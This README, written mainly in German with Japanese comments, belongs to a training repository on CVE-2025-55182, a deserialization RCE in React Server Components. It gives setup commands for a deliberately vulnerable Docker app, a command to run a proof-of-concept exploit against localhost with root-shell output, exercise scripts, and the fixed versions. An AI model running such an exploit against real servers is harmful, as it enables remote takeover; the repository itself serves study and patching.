
# Lern-Repository für CVE-2025-55182: eine Pre-Authentication-RCE in React Server Components Enthält eine Schritt-für-Schritt-Dokumentation, praktische Übungen und einen Proof-of-Concept-Exploit in einer verwundbaren Dockerisierten Next.js-App.
| Punkt | Inhalt |
|---|
| CVE ID | CVE-2025-55182 |
| Typ | Pre-authentication Remote Code Execution (RCE) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| CVSS | 10.0 (Critical) |
| Betroffen | React 19.0.0 - 19.2.2 |
.
├── docs/ # 📚 学習ドキュメント(Step 1-4)
├── exercises/ # 🧪 演習スクリプト
├── exploit/ # 💀 PoC スクリプト
└── vulnerable-app/ # 🎯 脆弱なNext.jsアプリ
cd vulnerable-app
docker compose up --build -d
cd exploit
pip install -r requirements.txt
python3 poc.py http://localhost:3000 "id"
uid=0(root) gid=0(root) groups=0(root)...
🎉 RCE erfolgreich!
Es gibt Dokumente, um die Schwachstelle schrittweise zu verstehen:
| Schritt | Thema | Datei |
|---|---|---|
| 1 | Grundlagen von Prototype Pollution | docs/01_prototype_pollution_basics.md |
| 2 | Constructor Chain und RCE | docs/02_constructor_chain.md |
| 3 | React-Flight-Protokoll | docs/03_react_flight_protocol.md |
| 4 | Gesamtbild der Schwachstelle und Behebung | docs/04_vulnerability_summary.md |
# Step 1: Prototype Pollution を体験
node exercises/01_prototype_pollution.js
# Step 2: Constructor Chain を理解
node exercises/02_constructor_chain.js
# Step 3: 参照解決のシミュレーション
node exercises/03_reference_resolution.js
# Step 4: ペイロードの完全分析
node exercises/04_full_exploit_analysis.js
# React を最新版にアップデート
npm install react@latest react-dom@latest
Behobene Versionen: 19.0.3+, 19.1.4+, 19.2.3+